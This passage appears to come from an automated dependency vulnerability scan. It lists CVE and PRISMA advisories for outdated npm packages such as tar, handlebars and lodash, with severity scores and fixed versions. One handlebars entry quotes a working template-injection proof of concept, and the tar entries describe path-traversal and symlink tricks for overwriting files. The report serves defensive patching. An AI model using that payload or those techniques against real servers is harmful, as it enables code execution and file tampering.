\\\\\"tar\\\\\" (aka node-tar) before versions 4.4.16, 5.0.8, and 6.1.7 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both `\\\\\\\\` and `/` characters as path separators, however `\\\\\\\\` is a valid filename character on posix systems. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at `FOO`, followed by a symboli', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-31T17:15:00Z', 'cvss': 8.6, 'status': 'fixed in 6.1.7, 5.0.8, 4.4.16'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-32804', 'link': 'https://github.com/advisories/GHSA-3jfq-g458-7qm9', 'description': 'The npm package \\\\\"tar\\\\\" (aka node-tar) before versions 6.1.1, 5.0.6, 4.4.14, and 3.3.2 has a arbitrary File Creation/Overwrite vulnerability due to insufficient absolute path sanitization. node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`. This logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.2, 4.4.14, 5.0.6 and 6.1.1. Users may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths. See referenced GitHub Advisory for details. Be aware of CVE-2021-32803 which fixes a similar bug in later versions of tar.', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-03T19:15:00Z', 'cvss': 8.1, 'status': 'fixed in 6.1.1, 5.0.6, 4.4.14,...'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-32803', 'link': 'https://github.com/advisories/GHSA-r628-mhmh-qjhw', 'description': 'The npm package \\\\\"tar\\\\\" (aka node-tar) before versions 6.1.2, 5.0.7, 4.4.15, and 3.2.3 has an arbitrary File Creation/Overwrite vulnerability via insufficient symlink protection. `node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-03T19:15:00Z', 'cvss': 8.1, 'status': 'fixed in 6.1.2, 5.0.7, 4.4.15,...'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-20834', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-20834', 'description': 'A vulnerability was found in node-tar before version 4.4.2 (excluding version 2.2.2). An Arbitrary File Overwrite issue exists when extracting a tarball containing a hardlink to a file that already exists on the system, in conjunction with a later plain file with the same name as the hardlink. This plain file content replaces the existing file content. A patch has been applied to node-tar v2.2.2', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'tar', 'publishedDate': '2019-04-30T19:29:00Z', 'cvss': 7, 'status': 'fixed in 4.4.2, 2.2.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-3918', 'link': 'https://github.com/advisories/GHSA-896r-f27r-55mw', 'description': \"json-schema is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\\\\'Prototype Pollution\\\\')\", 'packageVersion': '0.2.3', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'json-schema', 'publishedDate': '2021-11-13T09:15:00Z', 'cvss': 9, 'status': 'fixed in 0.4.0'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23807', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23807', 'description': 'This affects the package jsonpointer before 5.0.0. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.', 'packageVersion': '4.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'jsonpointer', 'publishedDate': '2021-08-31T00:00:00Z', 'cvss': 9.8, 'status': 'fixed in 5.0.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-15010', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-15010', 'description': 'A ReDoS (regular expression denial of service) flaw was found in the tough-cookie module before 2.3.3 for Node.js. An attacker that is able to make an HTTP request using a specially crafted cookie may cause the application to consume an excessive amount of CPU.', 'packageVersion': '2.3.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'tough-cookie', 'publishedDate': '2017-10-04T01:29:00Z', 'cvss': 7.5, 'status': 'fixed in 2.3.3'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-16492', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-16492', 'description': 'A prototype pollution vulnerability was found in module extend <2.0.2, ~<3.0.2 that allows an attacker to inject arbitrary properties onto Object.prototype.', 'packageVersion': '3.0.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'extend', 'publishedDate': '2019-02-01T18:29:00Z', 'cvss': 9.8, 'status': 'fixed in 3.0.2, 2.0.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0169', 'link': 'https://github.com/mishoo/UglifyJS/pull/5134', 'description': 'uglify-js package versions before 3.14.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via minify() function that uses vulnerable regex.', 'packageVersion': '2.7.0', 'vector': '', 'packageName': 'uglify-js', 'publishedDate': '2021-12-23T10:05:50Z', 'cvss': 5.3, 'status': 'fixed in 3.14.3'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2022-0005', 'link': 'https://github.com/istanbuljs/istanbuljs/commit/4eceb9eb8b3169b882d74ecc526fb5837ebc6205', 'description': 'istanbul-reports package versions before 3.1.3 are vulnerable to Reverse Tabnabbing. Tabnabbing - \\\\\"it\\\\\\'s the capacity to act on parent page\\\\\\'s content or location from a newly opened page via the backlink exposed by the opener javascript object instance.\\\\\" This vulnerability usually manifests when either The \\\\\"target\\\\\" attribute is used to specify the target location in an anchor tag to open 3rd party URL/resource(s) without including the attribute rel=\\\\\"noopener,noreferrer \\\\\" in the anchor tag.', 'packageVersion': '1.0.0-alpha.8', 'vector': '', 'packageName': 'istanbul-reports', 'publishedDate': '2022-01-25T11:13:51Z', 'cvss': 5.3, 'status': 'fixed in 3.1.3'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-16028', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16028', 'description': 'react-native-meteor-oauth is a library for Oauth2 login to a Meteor server in React Native. The oauth Random Token is generated using a non-cryptographically strong RNG (Math.random()).', 'packageVersion': '1.1.5', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N', 'packageName': 'randomatic', 'publishedDate': '2018-06-04T19:29:00Z', 'cvss': 5.3, 'status': 'fixed in 3.0.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-20922', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-20922', 'description': 'Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources.', 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'handlebars', 'publishedDate': '2020-09-30T18:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.4.5'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2019-20920', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-20920', 'description': \"Handlebars before 3.0.8 and 4.x before 4.5.3 is vulnerable to Arbitrary Code Execution. The lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript. This can be used to run arbitrary code on a server processing Handlebars templates or in a victim\\\\'s browser (effectively serving as XSS).\", 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L', 'packageName': 'handlebars', 'publishedDate': '2020-09-30T18:15:00Z', 'cvss': 8.1, 'status': 'fixed in 4.5.3, 3.0.8'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}, 'Remote execution': {}}, 'cveId': 'CVE-2021-23369', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23369', 'description': 'The package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.', 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'handlebars', 'publishedDate': '2021-05-06T15:57:44Z', 'cvss': 9.8, 'status': 'fixed in 4.7.7'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23383', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23383', 'description': 'The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.', 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'handlebars', 'publishedDate': '2021-05-04T09:15:00Z', 'cvss': 9.8, 'status': 'fixed in 4.7.7'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-2cf5-4w76-r9qv', 'link': '', 'description': 'Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package\\\\\\'s lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim\\\\\\'s browser (effectively serving as Cross-Site Scripting).  The following template can be used to demonstrate the vulnerability:   ```{{#with \\\\\"constructor\\\\\"}} \\t{{#with split as |a|}} \\t\\t{{pop (push \\\\\"alert(\\\\\\'Vulnerable Handlebars JS\\\\\\');\\\\\")}} \\t\\t{{#with (concat (lookup join (slice 0 1)))}} \\t\\t\\t{{#each (slice 2 3)}} \\t\\t\\t\\t{{#with (apply 0 a)}} \\t\\t\\t\\t\\t{{.}} \\t\\t\\t\\t{{/with}} \\t\\t\\t{{/each}} \\t\\t{{/with}} \\t{{/with}} {{/with}}```   ## Recommendation  Upgrade to version 3.0.8, 4.5.2 or later.', 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2020-09-04T14:57:38Z', 'cvss': 7, 'status': 'fixed in 4.5.2, 3.0.8'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'GHSA-f52g-6jhx-586p', 'link': '', 'description': \"Affected versions of `handlebars` are vulnerable to Denial of Service. The package\\\\'s parser may be forced into an endless loop while processing specially-crafted templates. This may allow attackers to exhaust system resources leading to Denial of Service.   ## Recommendation  Upgrade to version 4.4.5 or later.\", 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2020-09-03T23:20:12Z', 'cvss': 4, 'status': 'fixed in 4.4.5'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-g9r4-xpmj-mj65', 'link': '', 'description': 'Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.   ## Recommendation  Upgrade to version 3.0.8, 4.5.3 or later.', 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2020-09-04T15:06:32Z', 'cvss': 7, 'status': 'fixed in 4.5.3, 3.0.8'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-q2c6-c6pm-g3gh', 'link': '', 'description': \"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package\\\\'s lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim\\\\'s browser (effectively serving as Cross-Site Scripting).   ## Recommendation  Upgrade to version 3.0.8, 4.5.3 or later.\", 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2020-09-04T15:07:38Z', 'cvss': 7, 'status': 'fixed in 4.5.3, 3.0.8'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-q42p-pg8m-cqh6', 'link': '', 'description': \"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects\\\\' prototype, thus allowing an attacker to execute arbitrary code on the server.   ## Recommendation  For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.\", 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2019-06-05T14:07:48Z', 'cvss': 7, 'status': 'fixed in 3.0.7, 4.0.14, 4.1.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Remote execution': {}}, 'cveId': 'CVE-2019-19919', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-19919', 'description': \"Versions of handlebars prior to 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution. Templates may alter an Object\\\\'s __proto__ and __defineGetter__ properties, which may allow an attacker to execute arbitrary code through crafted payloads.\", 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'handlebars', 'publishedDate': '2019-12-20T23:15:00Z', 'cvss': 9, 'status': 'fixed in 4.3.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23343', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23343', 'description': 'All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.', 'packageVersion': '1.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'path-parse', 'publishedDate': '2021-05-04T00:00:00Z', 'cvss': 7.5, 'status': 'fixed in 1.0.7'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-10744', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-10744', 'description': 'Versions of lodash lower than 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2019-07-26T00:15:00Z', 'cvss': 9.1, 'status': 'fixed in 4.17.12'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-8203', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8203', 'description': 'Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2020-07-15T17:15:00Z', 'cvss': 7.4, 'status': 'fixed in 4.17.20'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2018-16487', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-16487', 'description': 'A prototype pollution vulnerability was found in lodash <4.17.11 where the functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of Object.prototype.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'lodash', 'publishedDate': '2019-02-01T18:29:00Z', 'cvss': 5.6, 'status': 'fixed in 4.17.11'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23337', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23337', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2021-02-15T13:15:00Z', 'cvss': 7.2, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-1010266', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-1010266', 'description': 'lodash prior to 4.17.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.17.11.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'lodash', 'publishedDate': '2019-07-17T21:15:00Z', 'cvss': 6.5, 'status': 'fixed in 4.17.11'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28500', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28500', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'lodash', 'publishedDate': '2021-02-15T11:15:00Z', 'cvss': 5.3, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-3721', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-3721', 'description': 'lodash node module before 4.17.5 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via defaultsDeep, merge, and mergeWith functions, which allows a malicious user to modify the prototype of \\\\\"Object\\\\\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'lodash', 'publishedDate': '2018-06-07T02:29:00Z', 'cvss': 6.5, 'status': 'fixed in 4.17.5'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0039', 'link': 'https://github.com/isaacs/minimatch/commit/a8763f4388e51956be62dc6025cec1126beeb5e6', 'description': \"minimatch package versions before 3.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS). It\\\\'s possible to cause a denial of service when calling function braceExpand (The regex /\\\\\\\\{.*\\\\\\\\}/ is vulnerable and can be exploited).\", 'packageVersion': '3.0.2', 'vector': '', 'packageName': 'minimatch', 'publishedDate': '2022-02-21T09:51:41Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-3517', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-3517', 'description': 'A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.', 'packageVersion': '3.0.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'minimatch', 'publishedDate': '2022-10-17T20:15:00Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28469', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28469', 'description': 'This affects the package glob-parent before 5.1.2. The enclosure regex used to check for strings ending in enclosure containing path separator.', 'packageVersion': '2.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'glob-parent', 'publishedDate': '2021-06-03T16:15:00Z', 'cvss': 7.5, 'status': 'fixed in 5.1.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0154', 'link': 'https://github.com/ramda/ramda/pull/3212/commits/94d057032c9b3ecf26d9842fbb12c981bda29f4b', 'description': 'ramda package versions before 0.27.2 are vulnerable to Regular Expression Denial of Service (ReDoS). Crafted input to the trim function may cause an application to consume an excessive amount of CPU.', 'packageVersion': '0.24.1', 'vector': '', 'packageName': 'ramda', 'publishedDate': '2021-11-17T09:17:03Z', 'cvss': 5.3, 'status': 'fixed in 0.27.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7608', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7608', 'description': 'yargs-parser could be tricked into adding or modifying properties of Object.prototype using a \\\\\"__proto__\\\\\" payload.', 'packageVersion': '2.4.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'yargs-parser', 'publishedDate': '2020-03-16T20:15:00Z', 'cvss': 5.3, 'status': 'fixed in 5.0.1'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'GHSA-64g7-mvw6-v9qj', 'link': 'https://github.com/advisories/GHSA-64g7-mvw6-v9qj', 'description': '### Impact Output from the synchronous version of `shell.exec()` may be visible to other users on the same system. You may be affected if you execute `shell.exec()` in multi-user Mac, Linux, or WSL environments, or if you execute `shell.exec()` as the root user.  Other shelljs functions (including the asynchronous version of `shell.exec()`) are not impacted.  ### Patches Patched in shelljs 0.8.5  ### Workarounds Recommended action is to upgrade to 0.8.5.  ### References https://huntr.dev/bounties/50996581-c08e-4eed-a90e-c0bac082679c/  ### For more information If you have any questions or comments about this advisory: * Ask at https://github.com/shelljs/shelljs/issues/1058 * Open an issue at https://github.com/shelljs/shelljs/issues/new ', 'packageVersion': '0.3.0', 'vector': '', 'packageName': 'shelljs', 'publishedDate': '2022-01-14T21:09:50Z', 'cvss': 4, 'status': 'fixed in 0.8.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-0144', 'link': 'https://github.com/advisories/GHSA-4rq4-32rv-6wp6', 'description': 'shelljs is vulnerable to Improper Privilege Management', 'packageVersion': '0.3.0', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H', 'packageName': 'shelljs', 'publishedDate': '2022-01-11T07:15:00Z', 'cvss': 7.1, 'status': 'fixed in 0.8.5'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7774', 'link': 'https://github.com/advisories/GHSA-c4w7-xm78-47vh', 'description': 'The package y18n before 3.2.2, 4.0.1 and 5.0.5, is vulnerable to Prototype Pollution.', 'packageVersion': '3.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'y18n', 'publishedDate': '2020-11-17T13:15:00Z', 'cvss': 9.8, 'status': 'fixed in 5.0.5, 4.0.1, 3.2.2'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-16138', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16138', 'description': 'The mime module < 1.4.1, 2.0.1, 2.0.2 is vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.', 'packageVersion': '1.2.11', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'mime', 'publishedDate': '2018-06-07T02:29:00Z', 'cvss': 7.5, 'status': 'fixed in 2.0.3, 1.4.1'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0097', 'link': 'https://github.com/tapjs/tap-mocha-reporter/commit/50c8c31ed7f6ebf18de4339ee0e64b1558b07e83', 'description': 'tap-mocha-reporter package versions before 5.0.2 are vulnerable to Regular Expression Denial of Service (ReDoS) due to vulnerable return value.', 'packageVersion': '2.0.1', 'vector': '', 'packageName': 'tap-mocha-reporter', 'publishedDate': '2022-03-15T11:44:14Z', 'cvss': 5.3, 'status': 'fixed in 5.0.2'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0098', 'link': 'https://github.com/tapjs/tap-mocha-reporter/commit/57529706c268b81652297c82f55ed5e7dfc8a3b2', 'description': 'tap-mocha-reporter package versions before 5.0.2 are vulnerable to Prototype Pollution.  This package allows for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE', 'packageVersion': '2.0.1', 'vector': '', 'packageName': 'tap-mocha-reporter', 'publishedDate': '2022-03-15T11:45:02Z', 'cvss': 8, 'status': 'fixed in 5.0.2'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-29167', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-29167', 'description': \"Hawk is an HTTP authentication scheme providing 